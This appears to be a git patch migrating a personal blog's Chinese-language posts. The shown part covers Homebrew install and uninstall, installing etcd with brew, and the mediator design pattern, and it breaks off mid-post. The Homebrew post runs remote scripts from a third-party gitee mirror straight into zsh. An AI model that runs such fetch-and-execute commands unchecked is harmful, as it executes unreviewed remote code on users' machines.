From 591d5e48bfc5708b51c8bb28b1720709356f5b77 Mon Sep 17 00:00:00 2001 From: gongna <2036479155@qq.com> Date: Wed, 31 Jul 2024 13:56:56 +0800 Subject: [PATCH] feat:Migrate all blog notes --- _posts/2020-02-1-test-markdown.md | 76 + _posts/2020-02-2-test-markdown.md | 66 + .../2020-02-26-flake-it-till-you-make-it.md | 161 +- _posts/2020-02-28-sample-markdown.md | 95 - _posts/2020-02-28-test-markdown.md | 185 ++ _posts/2020-06-15-test-markdown.md | 67 + _posts/2021-02-28-test-markdown.md | 105 + _posts/2021-11-20-test-markdown.md | 88 + _posts/2021-12-30-test-markdown.md | 254 ++ _posts/2022-02-15-test-markdown.md | 461 ++++ _posts/2022-02-19-test-markdown.md | 32 + _posts/2022-03-14-test-markdown.md | 1133 +++++++++ _posts/2022-04-17-test-markdown.md | 270 ++ _posts/2022-04-18-test-markdown.md | 128 + _posts/2022-04-20-test-markdown.md | 264 ++ _posts/2022-04-25-test-markdown.md | 326 +++ _posts/2022-05-18-test-markdown.md | 55 + _posts/2022-05-20-test-markdown.md | 358 +++ _posts/2022-06-14-test-markdown.md | 77 + _posts/2022-06-15-test-markdown.md | 162 ++ _posts/2022-07-08-test-markdown.md | 692 ++++++ _posts/2022-07-09test-markdown.md | 50 + _posts/2022-07-11-test-markdown.md | 118 + _posts/2022-07-12-test-markdown.md | 397 +++ _posts/2022-07-13-test-markdown.md | 726 ++++++ _posts/2022-07-14-test-markdown.md | 89 + _posts/2022-07-15-test-markdown.md | 33 + _posts/2022-07-16-test-markdown.md | 463 ++++ _posts/2022-07-17-test-markdown.md | 296 +++ _posts/2022-07-18-test-markdown.md | 433 ++++ _posts/2022-07-20-test-markdown.md | 60 + _posts/2022-07-21-test-markdown.md | 233 ++ _posts/2022-07-22-test-markdown.md | 210 ++ _posts/2022-08-19-test-markdown.md | 326 +++ _posts/2022-08-20-test-markdown.md | 220 ++ _posts/2022-08-21-test-markdown.md | 92 + _posts/2022-08-27-test-markdown.md | 174 ++ _posts/2022-08-28-test-markdown.md | 366 +++ _posts/2022-09-01-test-markdown.md | 57 + _posts/2022-09-02-test-markdown.md | 223 ++ _posts/2022-09-04-test-markdown.md | 277 +++ _posts/2022-09-05-test-markdown.md | 962 ++++++++ _posts/2022-09-06-test-markdown.md | 239 ++ _posts/2022-10-02-test-markdown.md | 138 ++ _posts/2022-10-03-test-markdown.md | 127 + _posts/2022-10-04-test-markdown.md | 898 +++++++ _posts/2022-10-05-test-markdown.md | 366 +++ _posts/2022-10-06-test-markdown.md | 58 + _posts/2022-10-07-test-markdown.md | 547 +++++ _posts/2022-10-09-test-markdown.md | 973 ++++++++ _posts/2022-10-10-test-markdown.md | 88 + _posts/2022-10-11-test-markdown.md | 292 +++ _posts/2022-10-12-test-markdown.md | 75 + _posts/2022-10-13-test-markdown.md | 1134 +++++++++ _posts/2022-10-14-test-markdown.md | 149 ++ _posts/2022-10-15-test-markdown.md | 246 ++ _posts/2022-10-21-test-markdown.md | 14 + _posts/2022-10-22-test-markdown.md | 23 + _posts/2022-10-23-test-markdown.md | 7 + _posts/2022-10-24-test-markdown.md | 115 + _posts/2022-11-01-test-markdown.md | 79 + _posts/2022-11-02-test-markdown.md | 436 ++++ _posts/2022-11-03-test-markdown.md | 1986 +++++++++++++++ _posts/2022-11-09-test-markdown.md | 604 +++++ _posts/2022-11-11-test-markdown.md | 216 ++ _posts/2022-11-12-test-markdown.md | 118 + _posts/2022-11-19-test-markdown.md | 356 +++ _posts/2022-11-20-test-markdown.md | 183 ++ _posts/2022-11-21-test-markdown.md | 1568 ++++++++++++ _posts/2022-11-22-test-markdown.md | 190 ++ _posts/2022-11-23-test-markdown.md | 632 +++++ _posts/2022-11-24-test-markdown.md | 186 ++ _posts/2022-11-25-test-markdown.md | 133 + _posts/2022-11-26-test-markdown.md | 407 ++++ _posts/2022-12-29-test-markdown.md | 287 +++ _posts/2022-12-31-test-markdown.md | 19 + _posts/2022-12-5-test-markdown.md | 112 + _posts/2022-12-6-test-markdown.md | 320 +++ _posts/2023-1-1-test-markdown.md | 200 ++ _posts/2023-1-10-test-markdown.md | 76 + _posts/2023-1-16-test-markdown.md | 268 ++ _posts/2023-1-17-test-markdown.md | 170 ++ _posts/2023-1-18-test-markdown.md | 150 ++ _posts/2023-1-19-test-markdown.md | 1030 ++++++++ _posts/2023-1-20-test-markdown.md | 170 ++ _posts/2023-1-21-test-markdown.md | 273 +++ _posts/2023-1-22-test-markdown.md | 366 +++ _posts/2023-1-29-test-markdown.md | 346 +++ _posts/2023-1-3-test-markdown.md | 30 + _posts/2023-1-30-test-markdown.md | 9 + _posts/2023-1-31-test-markdown.md | 347 +++ _posts/2023-1-9-test-markdown.md | 37 + _posts/2023-10-1-test-markdown.md | 46 + _posts/2023-10-10-test-markdown.md | 289 +++ _posts/2023-10-11-test-markdown.md | 1406 +++++++++++ _posts/2023-10-12-test-markdown.md | 835 +++++++ _posts/2023-10-13-test-markdown.md | 909 +++++++ _posts/2023-10-14-test-markdown.md | 573 +++++ _posts/2023-10-15-test-markdown.md | 39 + _posts/2023-10-16-test-markdown.md | 258 ++ _posts/2023-10-17-test-markdown.md | 369 +++ _posts/2023-10-18-test-markdown.md | 632 +++++ _posts/2023-10-19-test-markdown.md | 1103 +++++++++ _posts/2023-10-2-test-markdown.md | 128 + _posts/2023-10-22-test-markdown.md | 83 + _posts/2023-10-23-test-markdown.md | 223 ++ _posts/2023-10-3-test-markdown.md | 263 ++ _posts/2023-10-4-test-markdown.md | 87 + _posts/2023-10-5-test-markdown.md | 278 +++ _posts/2023-10-6-test-markdown.md | 305 +++ _posts/2023-10-7-test-markdown.md | 1035 ++++++++ _posts/2023-10-8-test-markdown.md | 976 ++++++++ _posts/2023-10-9-test-markdown.md | 411 ++++ _posts/2023-11-10-test-markdown.md | 704 ++++++ _posts/2023-11-11-test-markdown.md | 215 ++ _posts/2023-11-12-test-markdown.md | 196 ++ _posts/2023-11-5-test-markdown.md | 364 +++ _posts/2023-11-6-test-markdown.md | 515 ++++ _posts/2023-11-7-test-markdown.md | 59 + _posts/2023-11-9-test-markdown.md | 51 + _posts/2023-2-1-test-markdown.md | 338 +++ _posts/2023-2-10-test-markdown.md | 797 ++++++ _posts/2023-2-2-test-markdown.md | 7 + _posts/2023-2-20-test-markdown.md | 347 +++ _posts/2023-2-3-test-markdown.md | 91 + _posts/2023-2-4-test-markdown.md | 276 +++ _posts/2023-3-27-test-markdown.md | 286 +++ _posts/2023-3-28-test-markdown.md | 335 +++ _posts/2023-4-10-test-markdown.md | 858 +++++++ _posts/2023-4-11-test-markdown.md | 198 ++ _posts/2023-4-13-test-markdown.md | 722 ++++++ _posts/2023-4-14-test-markdown.md | 83 + _posts/2023-4-16-test-markdown.md | 782 ++++++ _posts/2023-4-17-test-markdown.md | 1251 ++++++++++ _posts/2023-4-19-test-markdown.md | 343 +++ _posts/2023-4-20-test-markdown.md | 1270 ++++++++++ _posts/2023-4-24-test-markdown.md | 566 +++++ _posts/2023-4-25-test-markdown.md | 459 ++++ _posts/2023-4-26-test-markdown.md | 160 ++ _posts/2023-4-27-test-markdown.md | 7 + _posts/2023-4-29-test-markdown.md | 1047 ++++++++ _posts/2023-4-3-test-markdown.md | 534 ++++ _posts/2023-4-30-test-markdown.md | 35 + _posts/2023-5-10-test-markdown.md | 1791 ++++++++++++++ _posts/2023-5-12-test-markdown.md | 1465 +++++++++++ _posts/2023-5-2-test-markdown.md | 146 ++ _posts/2023-5-21-test-markdown.md | 299 +++ _posts/2023-5-22-test-markdown.md | 219 ++ _posts/2023-5-23-test-markdown.md | 641 +++++ _posts/2023-5-24-test-markdown.md | 371 +++ _posts/2023-5-29-test-markdown.md | 555 +++++ _posts/2023-5-30-test-markdown.md | 154 ++ _posts/2023-5-7-test-markdown.md | 1006 ++++++++ _posts/2023-5-8-test-markdown.md | 2165 +++++++++++++++++ _posts/2023-6-1-test-markdown.md | 169 ++ _posts/2023-7-20-test-markdown.md | 117 + _posts/2023-7-21-test-markdown.md | 10 + _posts/2023-7-29-test-markdown.md | 347 +++ _posts/2023-8-29-test-markdown.md | 415 ++++ _posts/2023-8-30-test-markdown.md | 320 +++ _posts/2023-9-1-test-markdown.md | 333 +++ _posts/2023-9-10-test-markdown.md | 696 ++++++ _posts/2023-9-12-test-markdown.md | 433 ++++ _posts/2023-9-13-test-markdown.md | 2138 ++++++++++++++++ _posts/2023-9-2-test-markdown.md | 885 +++++++ _posts/2023-9-20-test-markdown.md | 48 + _posts/2023-9-21-test-markdown.md | 250 ++ _posts/2023-9-22-test-markdown.md | 125 + _posts/2023-9-23-test-markdown.md | 430 ++++ _posts/2023-9-24-test-markdown.md | 123 + _posts/2023-9-25-test-markdown.md | 1071 ++++++++ _posts/2023-9-26-test-markdown.md | 125 + _posts/2023-9-27-test-markdown.md | 61 + _posts/2023-9-28-test-markdown.md | 478 ++++ _posts/2023-9-29-test-markdown.md | 542 +++++ _posts/2023-9-30-test-markdown.md | 404 +++ _posts/2023-9-5-test-markdown.md | 545 +++++ _posts/2023-9-7-test-markdown.md | 1454 +++++++++++ _posts/2023-9-8-test-markdown.md | 544 +++++ _posts/2023-9-9-test-markdown.md | 1422 +++++++++++ _posts/2024-03-29-test-markdown.md | 208 ++ _posts/2024-07-29-test-markdown.md | 100 + _posts/2024-07-7-test-markdown.md | 55 + _posts/2024-07-8-test-markdown.md | 152 ++ _posts/2024-07-9-test-markdown.md | 154 ++ _posts/2024-1-23-test-markdown.md | 75 + _posts/2024-11-13-test-markdown.md | 1037 ++++++++ _posts/2024-11-14-test-markdown.md | 199 ++ _posts/2024-11-15-test-markdown.md | 186 ++ _posts/2024-11-16-test-markdown.md | 397 +++ _posts/2024-11-17-test-markdown.md | 144 ++ _posts/2024-11-18-test-markdown.md | 334 +++ _posts/2024-11-19-test-markdown.md | 26 + _posts/2024-11-20-test-markdown.md | 1706 +++++++++++++ _posts/2024-11-21-test-markdown.md | 133 + _posts/2024-11-22-test-markdown.md | 197 ++ _posts/2024-11-24-test-markdown.md | 43 + _posts/2024-11-8-test-markdown.md | 763 ++++++ _posts/2024-3-12-test-markdown.md | 81 + 199 files changed, 78978 insertions(+), 106 deletions(-) create mode 100644 _posts/2020-02-1-test-markdown.md create mode 100644 _posts/2020-02-2-test-markdown.md delete mode 100644 _posts/2020-02-28-sample-markdown.md create mode 100644 _posts/2020-02-28-test-markdown.md create mode 100644 _posts/2020-06-15-test-markdown.md create mode 100644 _posts/2021-02-28-test-markdown.md create mode 100644 _posts/2021-11-20-test-markdown.md create mode 100644 _posts/2021-12-30-test-markdown.md create mode 100644 _posts/2022-02-15-test-markdown.md create mode 100644 _posts/2022-02-19-test-markdown.md create mode 100644 _posts/2022-03-14-test-markdown.md create mode 100644 _posts/2022-04-17-test-markdown.md create mode 100644 _posts/2022-04-18-test-markdown.md create mode 100644 _posts/2022-04-20-test-markdown.md create mode 100644 _posts/2022-04-25-test-markdown.md create mode 100644 _posts/2022-05-18-test-markdown.md create mode 100644 _posts/2022-05-20-test-markdown.md create mode 100644 _posts/2022-06-14-test-markdown.md create mode 100644 _posts/2022-06-15-test-markdown.md create mode 100644 _posts/2022-07-08-test-markdown.md create mode 100644 _posts/2022-07-09test-markdown.md create mode 100644 _posts/2022-07-11-test-markdown.md create mode 100644 _posts/2022-07-12-test-markdown.md create mode 100644 _posts/2022-07-13-test-markdown.md create mode 100644 _posts/2022-07-14-test-markdown.md create mode 100644 _posts/2022-07-15-test-markdown.md create mode 100644 _posts/2022-07-16-test-markdown.md create mode 100644 _posts/2022-07-17-test-markdown.md create mode 100644 _posts/2022-07-18-test-markdown.md create mode 100644 _posts/2022-07-20-test-markdown.md create mode 100644 _posts/2022-07-21-test-markdown.md create mode 100644 _posts/2022-07-22-test-markdown.md create mode 100644 _posts/2022-08-19-test-markdown.md create mode 100644 _posts/2022-08-20-test-markdown.md create mode 100644 _posts/2022-08-21-test-markdown.md create mode 100644 _posts/2022-08-27-test-markdown.md create mode 100644 _posts/2022-08-28-test-markdown.md create mode 100644 _posts/2022-09-01-test-markdown.md create mode 100644 _posts/2022-09-02-test-markdown.md create mode 100644 _posts/2022-09-04-test-markdown.md create mode 100644 _posts/2022-09-05-test-markdown.md create mode 100644 _posts/2022-09-06-test-markdown.md create mode 100644 _posts/2022-10-02-test-markdown.md create mode 100644 _posts/2022-10-03-test-markdown.md create mode 100644 _posts/2022-10-04-test-markdown.md create mode 100644 _posts/2022-10-05-test-markdown.md create mode 100644 _posts/2022-10-06-test-markdown.md create mode 100644 _posts/2022-10-07-test-markdown.md create mode 100644 _posts/2022-10-09-test-markdown.md create mode 100644 _posts/2022-10-10-test-markdown.md create mode 100644 _posts/2022-10-11-test-markdown.md create mode 100644 _posts/2022-10-12-test-markdown.md create mode 100644 _posts/2022-10-13-test-markdown.md create mode 100644 _posts/2022-10-14-test-markdown.md create mode 100644 _posts/2022-10-15-test-markdown.md create mode 100644 _posts/2022-10-21-test-markdown.md create mode 100644 _posts/2022-10-22-test-markdown.md create mode 100644 _posts/2022-10-23-test-markdown.md create mode 100644 _posts/2022-10-24-test-markdown.md create mode 100644 _posts/2022-11-01-test-markdown.md create mode 100644 _posts/2022-11-02-test-markdown.md create mode 100644 _posts/2022-11-03-test-markdown.md create mode 100644 _posts/2022-11-09-test-markdown.md create mode 100644 _posts/2022-11-11-test-markdown.md create mode 100644 _posts/2022-11-12-test-markdown.md create mode 100644 _posts/2022-11-19-test-markdown.md create mode 100644 _posts/2022-11-20-test-markdown.md create mode 100644 _posts/2022-11-21-test-markdown.md create mode 100644 _posts/2022-11-22-test-markdown.md create mode 100644 _posts/2022-11-23-test-markdown.md create mode 100644 _posts/2022-11-24-test-markdown.md create mode 100644 _posts/2022-11-25-test-markdown.md create mode 100644 _posts/2022-11-26-test-markdown.md create mode 100644 _posts/2022-12-29-test-markdown.md create mode 100644 _posts/2022-12-31-test-markdown.md create mode 100644 _posts/2022-12-5-test-markdown.md create mode 100644 _posts/2022-12-6-test-markdown.md create mode 100644 _posts/2023-1-1-test-markdown.md create mode 100644 _posts/2023-1-10-test-markdown.md create mode 100644 _posts/2023-1-16-test-markdown.md create mode 100644 _posts/2023-1-17-test-markdown.md create mode 100644 _posts/2023-1-18-test-markdown.md create mode 100644 _posts/2023-1-19-test-markdown.md create mode 100644 _posts/2023-1-20-test-markdown.md create mode 100644 _posts/2023-1-21-test-markdown.md create mode 100644 _posts/2023-1-22-test-markdown.md create mode 100644 _posts/2023-1-29-test-markdown.md create mode 100644 _posts/2023-1-3-test-markdown.md create mode 100644 _posts/2023-1-30-test-markdown.md create mode 100644 _posts/2023-1-31-test-markdown.md create mode 100644 _posts/2023-1-9-test-markdown.md create mode 100644 _posts/2023-10-1-test-markdown.md create mode 100644 _posts/2023-10-10-test-markdown.md create mode 100644 _posts/2023-10-11-test-markdown.md create mode 100644 _posts/2023-10-12-test-markdown.md create mode 100644 _posts/2023-10-13-test-markdown.md create mode 100644 _posts/2023-10-14-test-markdown.md create mode 100644 _posts/2023-10-15-test-markdown.md create mode 100644 _posts/2023-10-16-test-markdown.md create mode 100644 _posts/2023-10-17-test-markdown.md create mode 100644 _posts/2023-10-18-test-markdown.md create mode 100644 _posts/2023-10-19-test-markdown.md create mode 100644 _posts/2023-10-2-test-markdown.md create mode 100644 _posts/2023-10-22-test-markdown.md create mode 100644 _posts/2023-10-23-test-markdown.md create mode 100644 _posts/2023-10-3-test-markdown.md create mode 100644 _posts/2023-10-4-test-markdown.md create mode 100644 _posts/2023-10-5-test-markdown.md create mode 100644 _posts/2023-10-6-test-markdown.md create mode 100644 _posts/2023-10-7-test-markdown.md create mode 100644 _posts/2023-10-8-test-markdown.md create mode 100644 _posts/2023-10-9-test-markdown.md create mode 100644 _posts/2023-11-10-test-markdown.md create mode 100644 _posts/2023-11-11-test-markdown.md create mode 100644 _posts/2023-11-12-test-markdown.md create mode 100644 _posts/2023-11-5-test-markdown.md create mode 100644 _posts/2023-11-6-test-markdown.md create mode 100644 _posts/2023-11-7-test-markdown.md create mode 100644 _posts/2023-11-9-test-markdown.md create mode 100644 _posts/2023-2-1-test-markdown.md create mode 100644 _posts/2023-2-10-test-markdown.md create mode 100644 _posts/2023-2-2-test-markdown.md create mode 100644 _posts/2023-2-20-test-markdown.md create mode 100644 _posts/2023-2-3-test-markdown.md create mode 100644 _posts/2023-2-4-test-markdown.md create mode 100644 _posts/2023-3-27-test-markdown.md create mode 100644 _posts/2023-3-28-test-markdown.md create mode 100644 _posts/2023-4-10-test-markdown.md create mode 100644 _posts/2023-4-11-test-markdown.md create mode 100644 _posts/2023-4-13-test-markdown.md create mode 100644 _posts/2023-4-14-test-markdown.md create mode 100644 _posts/2023-4-16-test-markdown.md create mode 100644 _posts/2023-4-17-test-markdown.md create mode 100644 _posts/2023-4-19-test-markdown.md create mode 100644 _posts/2023-4-20-test-markdown.md create mode 100644 _posts/2023-4-24-test-markdown.md create mode 100644 _posts/2023-4-25-test-markdown.md create mode 100644 _posts/2023-4-26-test-markdown.md create mode 100644 _posts/2023-4-27-test-markdown.md create mode 100644 _posts/2023-4-29-test-markdown.md create mode 100644 _posts/2023-4-3-test-markdown.md create mode 100644 _posts/2023-4-30-test-markdown.md create mode 100644 _posts/2023-5-10-test-markdown.md create mode 100644 _posts/2023-5-12-test-markdown.md create mode 100644 _posts/2023-5-2-test-markdown.md create mode 100644 _posts/2023-5-21-test-markdown.md create mode 100644 _posts/2023-5-22-test-markdown.md create mode 100644 _posts/2023-5-23-test-markdown.md create mode 100644 _posts/2023-5-24-test-markdown.md create mode 100644 _posts/2023-5-29-test-markdown.md create mode 100644 _posts/2023-5-30-test-markdown.md create mode 100644 _posts/2023-5-7-test-markdown.md create mode 100644 _posts/2023-5-8-test-markdown.md create mode 100644 _posts/2023-6-1-test-markdown.md create mode 100644 _posts/2023-7-20-test-markdown.md create mode 100644 _posts/2023-7-21-test-markdown.md create mode 100644 _posts/2023-7-29-test-markdown.md create mode 100644 _posts/2023-8-29-test-markdown.md create mode 100644 _posts/2023-8-30-test-markdown.md create mode 100644 _posts/2023-9-1-test-markdown.md create mode 100644 _posts/2023-9-10-test-markdown.md create mode 100644 _posts/2023-9-12-test-markdown.md create mode 100644 _posts/2023-9-13-test-markdown.md create mode 100644 _posts/2023-9-2-test-markdown.md create mode 100644 _posts/2023-9-20-test-markdown.md create mode 100644 _posts/2023-9-21-test-markdown.md create mode 100644 _posts/2023-9-22-test-markdown.md create mode 100644 _posts/2023-9-23-test-markdown.md create mode 100644 _posts/2023-9-24-test-markdown.md create mode 100644 _posts/2023-9-25-test-markdown.md create mode 100644 _posts/2023-9-26-test-markdown.md create mode 100644 _posts/2023-9-27-test-markdown.md create mode 100644 _posts/2023-9-28-test-markdown.md create mode 100644 _posts/2023-9-29-test-markdown.md create mode 100644 _posts/2023-9-30-test-markdown.md create mode 100644 _posts/2023-9-5-test-markdown.md create mode 100644 _posts/2023-9-7-test-markdown.md create mode 100644 _posts/2023-9-8-test-markdown.md create mode 100644 _posts/2023-9-9-test-markdown.md create mode 100644 _posts/2024-03-29-test-markdown.md create mode 100644 _posts/2024-07-29-test-markdown.md create mode 100644 _posts/2024-07-7-test-markdown.md create mode 100644 _posts/2024-07-8-test-markdown.md create mode 100644 _posts/2024-07-9-test-markdown.md create mode 100644 _posts/2024-1-23-test-markdown.md create mode 100644 _posts/2024-11-13-test-markdown.md create mode 100644 _posts/2024-11-14-test-markdown.md create mode 100644 _posts/2024-11-15-test-markdown.md create mode 100644 _posts/2024-11-16-test-markdown.md create mode 100644 _posts/2024-11-17-test-markdown.md create mode 100644 _posts/2024-11-18-test-markdown.md create mode 100644 _posts/2024-11-19-test-markdown.md create mode 100644 _posts/2024-11-20-test-markdown.md create mode 100644 _posts/2024-11-21-test-markdown.md create mode 100644 _posts/2024-11-22-test-markdown.md create mode 100644 _posts/2024-11-24-test-markdown.md create mode 100644 _posts/2024-11-8-test-markdown.md create mode 100644 _posts/2024-3-12-test-markdown.md diff --git a/_posts/2020-02-1-test-markdown.md b/_posts/2020-02-1-test-markdown.md new file mode 100644 index 000000000000..7541657f323a --- /dev/null +++ b/_posts/2020-02-1-test-markdown.md @@ -0,0 +1,76 @@ +--- +layout: post +title: HomeBrew卸载和安装 +subtitle: +tags: [brew] +comments: true +--- + +## HomeBrew卸载 +```shell +/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/HomebrewUninstall.sh)" +``` + +## HomeBrew安装 + +```shell +/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" +``` + +## 设置环境变量 + +为了将 node@18 加入到 PATH 环境变量中,使其成为优先选择的版本,可以运行以下命令: +```shell +echo 'export PATH="/opt/homebrew/opt/node@18/bin:$PATH"' >> ~/.zshrc +``` +此命令将 export PATH=... 添加到的 ~/.zshrc 文件中,以确保 node@18 的二进制文件在的路径中优先被找到。 + +另外,为了让编译器能找到 node@18,可能需要设置以下环境变量: + + +```shell +export LDFLAGS="-L/opt/homebrew/opt/node@18/lib" +export CPPFLAGS="-I/opt/homebrew/opt/node@18/include" +``` + +这些环境变量指定了编译器在编译过程中需要搜索的库文件和头文件路径。设置这些变量可以确保在编译需要使用到 node@18 的程序时,编译器能够正确地找到所需的文件。 + + +## 更换Homebrew的镜像源 +可以通过以下步骤来更换Homebrew的镜像源: +1. **更换Homebrew的formula源**: + +```shell +# 切换到Homebrew的目录 +cd "$(brew --repo)" +# 更换源 +git remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.git +``` + +1. **更换Homebrew的bottle源**: + +在的shell配置文件(比如`~/.bash_profile`或者`~/.zshrc`)中添加以下行: + +```shell +export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles +``` + +然后运行`source ~/.bash_profile`或者`source ~/.zshrc`来使更改生效。 + +1. **更换Homebrew的核心formula源**: + +```shell +# 切换到Homebrew的目录 +cd "$(brew --repo)/Library/Taps/homebrew/homebrew-core" + +# 更换源 +git remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.git +``` + +以上步骤将Homebrew的源更换为了清华大学的镜像站点,可以根据需要更换为其他的镜像站点。 + +注意:如果在更换源之后遇到了问题,可以通过运行以上命令并将URL更换为官方源的URL来恢复到官方源。官方源的URL分别为: + +- Homebrew:https://github.com/Homebrew/brew.git +- Homebrew Bottles:https://homebrew.bintray.com/bottles +- Homebrew Core:https://github.com/Homebrew/homebrew-core.git \ No newline at end of file diff --git a/_posts/2020-02-2-test-markdown.md b/_posts/2020-02-2-test-markdown.md new file mode 100644 index 000000000000..1c9b972a8bf1 --- /dev/null +++ b/_posts/2020-02-2-test-markdown.md @@ -0,0 +1,66 @@ +--- +layout: post +title: HomeBrew安装ETCD +subtitle: +tags: [etcd] +comments: true +--- + +## 使用 brew 安装 + +第一步: 确定 brew 是否有 etcd 包: +```shell +brew search etcd +``` +避免盲目使用 brew install balabala + +第二步: 安装 +```shell +brew install etcd +``` + +第三步:运行 +推荐使用 brew services 来管理这些应用。 + +```shell +brew list +``` +```shell +brew services list +``` +```shell +brew services list +Name Status User Plist +etcd started bigbug/Library/LaunchAgents/homebrew.mxcl.etcd.plist +privoxy started bigbug/Library/LaunchAgents/homebrew.mxcl.privoxy.plist +redis stopped +可以看到,我本机的 etcd 已经是启动的状态,所以我可以直接使用。 +``` + +brew services 常用的操作 + +### 启动某个应用,这里用 etcd 做演示 +```shell +brew services start etcd +``` + +### 停止某个应用 +```shell +brew services stop etcd +``` + +### 查看当前应用列表 +```shell +brew services list +``` +好了, etcd 已经启动了,现在验证下,是否正确的启动: +### 验证 +```shell +etcdctl endpoint health +``` +正常情况会输出: + +```shell +127.0.0.1:2379 is healthy: successfully committed proposal: took = 2.258149ms +``` +至此,etcd 已经安装完毕。 \ No newline at end of file diff --git a/_posts/2020-02-26-flake-it-till-you-make-it.md b/_posts/2020-02-26-flake-it-till-you-make-it.md index 768f6328da09..f652cf138988 100644 --- a/_posts/2020-02-26-flake-it-till-you-make-it.md +++ b/_posts/2020-02-26-flake-it-till-you-make-it.md @@ -1,18 +1,157 @@ --- layout: post -title: Flake it till you make it -subtitle: Excerpt from Soulshaping by Jeff Brown -cover-img: /assets/img/path.jpg -thumbnail-img: /assets/img/thumb.png -share-img: /assets/img/path.jpg -tags: [books, test] -author: Sharon Smith and Barry Simpson +title: 中介者模式 +subtitle: 调解人、控制器、Intermediary、Controller、Mediator +tags: [设计模式] --- -Under what circumstances should we step off a path? When is it essential that we finish what we start? If I bought a bag of peanuts and had an allergic reaction, no one would fault me if I threw it out. If I ended a relationship with a woman who hit me, no one would say that I had a commitment problem. But if I walk away from a seemingly secure route because my soul has other ideas, I am a flake? +# 中介者模式 -The truth is that no one else can definitively know the path we are here to walk. It’s tempting to listen—many of us long for the omnipotent other—but unless they are genuine psychic intuitives, they can’t know. All others can know is their own truth, and if they’ve actually done the work to excavate it, they will have the good sense to know that they cannot genuinely know anyone else’s. Only soul knows the path it is here to walk. Since you are the only one living in your temple, only you can know its scriptures and interpretive structure. +> **亦称:** 调解人、控制器、Intermediary、Controller、Mediator -At the heart of the struggle are two very different ideas of success—survival-driven and soul-driven. For survivalists, success is security, pragmatism, power over others. Success is the absence of material suffering, the nourishing of the soul be damned. It is an odd and ironic thing that most of the material power in our world often resides in the hands of younger souls. Still working in the egoic and material realms, they love the sensations of power and focus most of their energy on accumulation. Older souls tend not to be as materially driven. They have already played the worldly game in previous lives and they search for more subtle shades of meaning in this one—authentication rather than accumulation. They are often ignored by the culture at large, although they really are the truest warriors. +![中介者设计模式](https://refactoringguru.cn/images/patterns/content/mediator/mediator.png) -A soulful notion of success rests on the actualization of our innate image. Success is simply the completion of a soul step, however unsightly it may be. We have finished what we started when the lesson is learned. What a fear-based culture calls a wonderful opportunity may be fruitless and misguided for the soul. Staying in a passionless relationship may satisfy our need for comfort, but it may stifle the soul. Becoming a famous lawyer is only worthwhile if the soul demands it. It is an essential failure if you are called to be a monastic this time around. If you need to explore and abandon ten careers in order to stretch your soul toward its innate image, then so be it. Flake it till you make it. \ No newline at end of file +## 1.概念 + +**中介者模式**是一种行为设计模式, 能让减少对象之间混乱无序的依赖关系。 该模式会限制对象之间的直接交互, 迫使它们通过一个中介者对象进行合作。 + +假如有一个创建和修改客户资料的对话框, 它由各种控件组成, 例如文本框 (Text­Field)、 复选框 (Checkbox) 和按钮 (Button) 等。![用户界面中各元素间的混乱关系](https://refactoringguru.cn/images/patterns/diagrams/mediator/problem1-zh.png) + + +- 元素间存在许多关联。 因此, 对某些元素进行修改可能会影响其他元素。 + +- 如果直接在表单元素代码中实现业务逻辑, 将很难在程序其他表单中复用这些元素类。 + + +## 2.问题 + +#### 1.元素可能会直接进行互动。 + +提交按钮必须在保存数据前校验所有输入内容。 + +#### 2.元素间存在许多关联 + +对某些元素进行修改可能会影响其他元素 + +#### 3.在元素代码中实现业务逻辑将很难复用其他的元素类 + + +## 3.解决方法 + +> 中介者模式建议停止组件之间的直接交流并使其相互独立。 这些组件必须调用特殊的中介者对象, 通过中介者对象重定向调用行为, 以间接的方式进行合作。 最终, 组件仅依赖于一个中介者类, 无需与多个其他组件相耦合。 + +在资料编辑表单的例子中, 对话框 (Dialog) 类本身将作为中介者, 其很可能已知自己所有的子元素, 因此甚至无需在该类中引入新的依赖关系。 + +![UI 元素必须通过中介者进行沟通。](https://refactoringguru.cn/images/patterns/diagrams/mediator/solution1-zh.png) + +绝大部分重要的修改都在实际表单元素中进行。 想想提交按钮。 之前, 当用户点击按钮后, 它必须对所有表单元素数值进行校验。 而现在它的唯一工作是将点击事件通知给对话框。 收到通知后, 对话框可以自行校验数值或将任务委派给各元素。 这样一来, 按钮不再与多个表单元素相关联, 而仅依赖于对话框类。 + +## 4.类比 + +![空中交通管制塔台](https://refactoringguru.cn/images/patterns/diagrams/mediator/live-example.png) + +> 飞行器驾驶员之间不会通过相互沟通来决定下一架降落的飞机。 所有沟通都通过控制塔台进行。飞行器驾驶员们在靠近或离开空中管制区域时不会直接相互交流。 但他们会与飞机跑道附近, 塔台中的空管员通话。 如果没有空管员, 驾驶员就需要留意机场附近的所有飞机, 并与数十位飞行员组成的委员会讨论降落顺序。 那恐怕会让飞机坠毁的统计数据一飞冲天吧。 + +- 塔台无需管制飞行全程, 只需在航站区加强管控即可, 因为该区域的决策**参与者数量**对于飞行员来说实在**太多**了。 + +## 5.中介者模式结构 + +![中介者设计模式的结构](https://refactoringguru.cn/images/patterns/diagrams/mediator/structure-indexed.png) + +1. **组件** (Component) 是各种包含业务逻辑的类。 每个组件都有一个指向中介者的引用, 该引用被声明为中介者接口类型。 组件不知道中介者实际所属的类, 因此可通过将其连接到不同的中介者以使其能在其他程序中复用。 +2. **中介者** (Mediator) 接口声明了与组件交流的方法, 但通常仅包括一个通知方法。 组件可将任意上下文 (包括自己的对象) 作为该方法的参数, 只有这样接收组件和发送者类之间才不会耦合。 +3. **具体中介者** (Concrete Mediator) 封装了多种组件间的关系。 具体中介者通常会保存所有组件的引用并对其进行管理, 甚至有时会对其生命周期进行管理。 +4. 组件并不知道其他组件的情况。 如果组件内发生了重要事件, 它只能通知中介者。 中介者收到通知后能轻易地确定发送者, 这或许已足以判断接下来需要触发的组件了。 +5. 对于组件来说, **中介者看上去完全就是一个黑箱。 发送者不知道最终会由谁来处理自己的请求, 接收者也不知道最初是谁发出了请求**。 + +## 6.伪代码 + +**中介者**模式可帮助减少各种 UI 类 (按钮、 复选框和文本标签) 